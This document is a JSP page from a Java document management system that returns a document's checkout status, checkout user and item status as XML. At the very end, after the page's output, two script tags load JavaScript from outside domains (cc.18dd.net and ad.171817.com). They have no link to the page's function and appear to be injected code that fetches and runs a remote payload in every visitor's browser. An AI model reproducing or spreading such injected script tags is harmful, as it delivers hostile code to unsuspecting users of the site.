<?xml version="1.0" encoding="UTF-8"?>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*" %>
<%@ page import="java.sql.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.DmsOperationConstant" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.user.dao.*" %>
<%@ page import="com.dcivision.framework.*" %> 
<%@ page import="javax.xml.parsers.*,org.w3c.dom.*,javax.xml.transform.*"%>
<%@ page import="javax.xml.transform.dom.*,javax.xml.transform.stream.*"%>  
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ include file="monitorLoginStatus.jsp"%>    
<%@ page language="java" contentType="text/xml;charset=UTF-8" %>

<%     
  Connection conn = null;
  String odmaGetType = "GET_DOCUMENT_CHECKOUT_INFO";
  Integer documentID = new Integer(0); 
  String itemStatus = "";
  String checkoutUser = "" ;
  String isCurrentUserOpened = "false";
	try{
		conn = DataSourceFactory.getConnection();    
		UserRecordDAObject userRecordDAObject = new UserRecordDAObject(sessionContainer,conn);
		DmsDocumentDAObject dmsDocumentDAObject = new DmsDocumentDAObject(sessionContainer,conn);
  	    VersionControlManager versionControlManager = new VersionControlManager(sessionContainer,conn) ;	 
		if(request.getParameter("documentID") != null){
			documentID = TextUtility.parseIntegerObj(request.getParameter("documentID"));	
			DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAObject.getObjectByID(documentID); 
			itemStatus = dmsDocument.getItemStatus();
			DmsCheckoutHistory checkoutHistory = versionControlManager.getCurrentCheckoutDetail(dmsDocument, DmsOperationConstant.DMS_TOP_VERSION);
			if (checkoutHistory != null) {
				UserRecord tmpUserRecord = (UserRecord)userRecordDAObject.getObjectByID(checkoutHistory.getCheckoutPersonID());
				checkoutUser = tmpUserRecord.getFullName();
				if(sessionContainer.getUserRecord().getID().intValue() == tmpUserRecord.getID().intValue()){
					isCurrentUserOpened = "true";
				}
			}
		}


  }catch(Exception ex){
    out.println("<load-dcument-tree target="+"\"/jsp/odma/odma.xml\" result=\"UnknowException\">failed</load-dcument-tree>");
    LogFactory.getLog(this.getClass()).error(ex, ex);
  }finally{
		try{
      conn.close();
		}catch(Exception ignore){
    }finally{
		  conn=null;
    }
  }
%> 

<odma odmaGetType="<%=odmaGetType%>" documentID = "<%=documentID%>" itemStatus = "<%=itemStatus%>"  isCurrentUserOpened = "<%=isCurrentUserOpened%>"><%=checkoutUser%> </odma>



<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>